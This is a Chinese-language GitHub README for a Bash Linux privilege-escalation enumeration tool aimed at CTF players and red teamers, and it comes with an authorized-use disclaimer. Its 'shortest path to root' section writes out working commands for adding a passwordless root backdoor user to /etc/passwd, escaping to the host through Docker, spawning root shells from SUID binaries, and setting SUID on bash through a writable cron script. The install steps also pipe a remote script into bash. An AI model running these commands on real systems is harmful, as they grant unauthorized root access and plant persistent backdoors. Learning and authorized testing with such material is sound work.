0xiamshadow/pe-scout
GitHub: 0xiamshadow/pe-scout
一款纯 Bash 编写的 Linux 提权枚举工具,通过智能过滤误报并聚焦真实可利用漏洞,帮助用户快速找到通往 root 的最短路径。
Stars: 0 | Forks: 0
# 🐧 Linux 提权枚举工具 (LPE-Tool)
[](https://opensource.org/licenses/MIT)
[]()
[]()
## 📋 目录
- [概述](#overview)
- [功能](#features)
- [安装说明](#installation)
- [用法](#usage)
- [枚举方法](#enumeration-methods)
- [真实漏洞检测](#real-vulnerability-detection)
- [通往 Root 的最短路径](#shortest-path-to-root)
- [输出格式](#output-format)
- [截图](#screenshots)
- [为什么选择这个工具?](#why-this-tool)
- [贡献](#contributing)
- [免责声明](#disclaimer)
- [许可证](#license)
## 🎯 概述
本工具是一个**单文件 Bash 脚本**,可在 Linux 系统上执行系统化枚举,以识别潜在的提权向量。与其他会向您发送大量误报的工具不同,此脚本专注于**可操作的真实漏洞**,并提供明确的严重性评级。
**目标受众:**
- 🟢 **初学者** —— 通过颜色编码的输出,逐步学习 privesc 枚举
- 🔴 **高级用户** —— 快速、隐蔽的枚举,提供聚焦的结果
- 🟡 **CTF 选手** —— 快速获胜并找到通往 root 的最短路径
- 🔵 **红队成员** —— 适用于真实实战的低噪声枚举
## ✨ 功能
| 功能 | 描述 |
|---------|-------------|
| 🔍 **智能枚举** | 仅根据用户上下文检查相关向量 |
| 🎨 **颜色编码输出** | 绿色 (高危)、黄色 (中危)、红色 (严重) 严重性 |
| 🚀 **快速模式** | 使用 `-f` 标志跳过耗时的检查 |
| 📝 **日志导出** | 将结果保存到文件以供报告 |
| 🧠 **智能过滤** | 抑制其他工具中常见的误报 |
| 🛡️ **安全执行** | 只读枚举 —— 不修改系统 |
| 📦 **零依赖** | 纯 Bash 编写 —— 可在任何 Linux 系统上运行 |
| 🌐 **多发行版支持** | Debian, Ubuntu, CentOS, RHEL, Arch, Alpine 等 |
## 📥 安装说明
### 方法 1:直接下载 (推荐)
```
# 下载脚本
curl -O https://raw.githubusercontent.com/0xiamshadow/pe-scout/main/lpe-enumeration.sh
# 使其可执行
chmod +x lpe-enumeration.sh
```
### 方法 2:克隆仓库
```
git clone https://github.com/0xiamshadow/pe-scout.git
cd pe-scout
chmod +x lpe-enumeration.sh
```
### 方法 3:快速单行命令
```
curl -sL https://raw.githubusercontent.com/0xiamshadow/pe-scout/main/lpe-enumeration.sh | bash
```
## 🚀 用法
### 基本用法
```
./lpe-enumeration.sh
```
### 快速模式 (跳过耗时的检查)
```
./lpe-enumeration.sh -f
```
### 将输出保存到文件
```
./lpe-enumeration.sh -o results.txt
```
### 详细模式 (显示所有检查)
```
./lpe-enumeration.sh -v
```
### 帮助菜单
```
./lpe-enumeration.sh -h
```
### 所有选项
```
Usage: ./lpe-enumeration.sh [OPTIONS]
Options:
-f, --fast Skip time-consuming checks (faster execution)
-v, --verbose Show all checks including informational
-o, --output FILE Save output to specified file
-h, --help Display this help menu
--no-color Disable colored output
```
## 🔬 枚举方法
该工具使用多种枚举技术来收集系统情报:
### 1. **系统信息**
- Kernel 版本与发行版详细信息
- CPU 架构
- 环境变量
- 正在运行的进程
### 2. **用户与组枚举**
- 当前用户权限 (`id`, `whoami`)
- Sudo 权限 (`sudo -l`)
- 组成员身份
- 拥有登录 shell 的用户
- 密码策略
### 3. **文件权限**
- SUID/SGID 二进制文件
- 全局可写文件
- 可写的配置文件
- `.bash_history` 分析
- SSH 密钥与 authorized_keys
### 4. **进程与服务枚举**
- 以 root 身份运行的进程
- Cron 任务与计划任务
- Systemd 服务
- 可写的服务文件
### 5. **网络枚举**
- 网络接口
- 开放端口
- 防火墙规则
- Docker socket 访问权限
### 6. **Kernel 与软件**
- Kernel exploit 提示器
- 已安装的包版本
- 存在漏洞的软件检测
- Capabilities (`getcap`)
### 7. **环境与配置**
- PATH 变量分析
- LD_PRELOAD / LD_LIBRARY_PATH
- Sudo token 劫持可能性
- 可写的 PATH 目录
## 🚨 真实漏洞检测
此工具专注于**实际可利用的条件**,而非理论上的配置错误:
### ✅ 检测到的漏洞 (真实 Exploit)
| 向量 | 可利用性 | 提权命令 |
|--------|---------------|---------------------|
| **SUID 二进制文件滥用** | 高危 | `find / -perm -4000 2>/dev/null` → 使用 GTFOBins |
| **可写的 /etc/passwd** | 严重 | `echo 'hacker::0:0::/root:/bin/bash' >> /etc/passwd` |
| **Sudo NOPASSWD** | 严重 | `sudo -l` → `sudo /bin/bash` |
| **Cron 任务劫持** | 高危 | 修改可写的 cron 脚本 |
| **Docker 组成员** | 严重 | `docker run -v /:/host -it ubuntu chroot /host /bin/bash` |
| **可写的 Sudoers** | 严重 | 添加 `user ALL=(ALL) NOPASSWD: ALL` |
| **Kernel Exploit** | 高危 | 编译并运行匹配的 CVE exploit |
| **Capabilities 滥用** | 高危 | `getcap -r / 2>/dev/null` → 滥用 `cap_setuid` |
| **PATH 劫持** | 中危 | 在可写的 PATH 目录中创建恶意二进制文件 |
| **Sudo 下的 LD_PRELOAD** | 高危 | `sudo LD_PRELOAD=/tmp/pe.so ` |
### ❌ 过滤掉的误报
该工具故意**抑制**了这些常见的误报:
- 全局可写的 `/tmp` 或 `/var/tmp` (Linux 上的正常现象)
- 标准 SUID 二进制文件 (`ping`, `passwd`, `su`)
- 不可利用的环境变量
- 系统软件包的默认 cron 任务
- 标准 systemd 服务
## ⚡ 通往 Root 的最短路径
基于对枚举输出的分析,以下是通往 root 的**真实最短路径**:
### 🥇 路径 1:Sudo 配置错误 (最快 —— 30 秒)
```
# 检查是否可以在没有密码的情况下以 root 身份运行任何命令
sudo -l
# 如果你看到 (ALL) NOPASSWD: /bin/bash 或类似内容:
sudo /bin/bash
# 或者
sudo -i
```
### 🥈 路径 2:SUID 二进制文件滥用 (1-2 分钟)
```
# 查找 SUID 二进制文件
find / -perm -4000 2>/dev/null
# 检查 GTFOBins 获取利用方法
# 使用 'find' 的示例:
find . -exec /bin/sh -p \; -quit
```
### 🥉 路径 3:可写的 /etc/passwd (1 分钟)
```
# 检查 /etc/passwd 是否可写
ls -la /etc/passwd
# 如果可写,添加一个 root 用户:
echo 'backdoor::0:0::/root:/bin/bash' >> /etc/passwd
su - backdoor
```
### 🏅 路径 4:Docker 组 (30 秒)
```
# 检查你是否在 docker 组中
id | grep docker
# 如果是,逃逸到宿主机:
docker run -v /:/host -it alpine chroot /host /bin/bash
```
### 🏅 路径 5:Cron 任务劫持 (2-5 分钟)
```
# 检查可写的 cron 脚本
ls -la /etc/cron* /var/spool/cron/*
# 如果某个脚本你可以写入,修改它:
echo 'chmod u+s /bin/bash' >> /path/to/cron/script
# 等待 cron 执行,然后:
/bin/bash -p
```
## 📊 输出格式
```
╔══════════════════════════════════════════════════════════════╗
║ LINUX PRIVILEGE ESCALATION ENUMERATION TOOL ║
╚══════════════════════════════════════════════════════════════╝
[+] SYSTEM INFORMATION
├─ Kernel: 5.4.0-80-generic
├─ Distribution: Ubuntu 20.04.2 LTS
└─ Architecture: x86_64
[+] USER INFORMATION
├─ Current User: www-data
├─ UID: 33
├─ Groups: www-data(33)
└─ Sudo Rights: None
[!] CRITICAL FINDINGS
├─ [CRITICAL] SUID binary 'find' found at /usr/bin/find
├─ [HIGH] Writable /opt/backup.sh (root cron job)
└─ [MEDIUM] Docker socket accessible
[+] SUDO PERMISSIONS
└─ No sudo access detected
[+] SUID BINARIES
├─ /usr/bin/find → GTFOBins: find | SUID
├─ /usr/bin/nano → GTFOBins: nano | SUID
└─ /usr/bin/vim → GTFOBins: vim | SUID
[+] CRON JOBS
└─ */5 * * * * root /opt/backup.sh → WRITABLE BY USER!
[+] RECOMMENDED EXPLOIT PATH
└─ 1. Modify /opt/backup.sh → Wait 5 min → Get root shell
```
## 📸 截图
*在此添加展示该工具在不同系统上运行的截图*
## 🏆 为什么选择这个工具?
| 方面 | 本工具 | LinPEAS | LinEnum | 手动 |
|--------|-----------|---------|---------|--------|
| **速度** | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐ |
| **误报率** | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐⭐⭐⭐ |
| **对初学者友好** | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐ |
| **隐蔽性** | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐⭐⭐⭐ |
| **可操作性输出** | ⭐⭐⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐⭐⭐ |
| **依赖** | ⭐⭐⭐⭐⭐ (0) | ⭐⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐⭐⭐⭐ |
## ⚠️ 免责声明
**本工具仅供教育和授权测试使用。**
- ✅ 仅在您**拥有**或获得**明确书面许可**进行测试的系统上使用
- ✅ 非常适合 CTF、实验室和学习环境
- ❌ **严禁**在未经授权的情况下用于生产系统
- ❌ **严禁**用于恶意目的
作者对滥用本工具或由此造成的损害**概不负责**。**您需对自己的行为负责。**
## 📜 许可证
本项目基于 MIT License 授权 - 有关详细信息,请参阅 [LICENSE](LICENSE) 文件。
## 📞 联系与支持
- 🐛 **Bug 报告:** [GitHub Issues](https://github.com/0xiamshadow/pe-scout/issues)
- 💡 **功能请求:** [GitHub Discussions](https://github.com/0xiamshadow/pe-scout/discussions)
- 📧 **邮箱:** iam.ahmad.in@gmail.com
**如果您觉得这个工具有用,请给本仓库点个 Star!**
祝您 Hacking 愉快! 🐱💻
“枚举是每次成功提权的关键。”
标签:Bash, Web报告查看器, 协议分析, 应用安全, 无线安全, 权限提升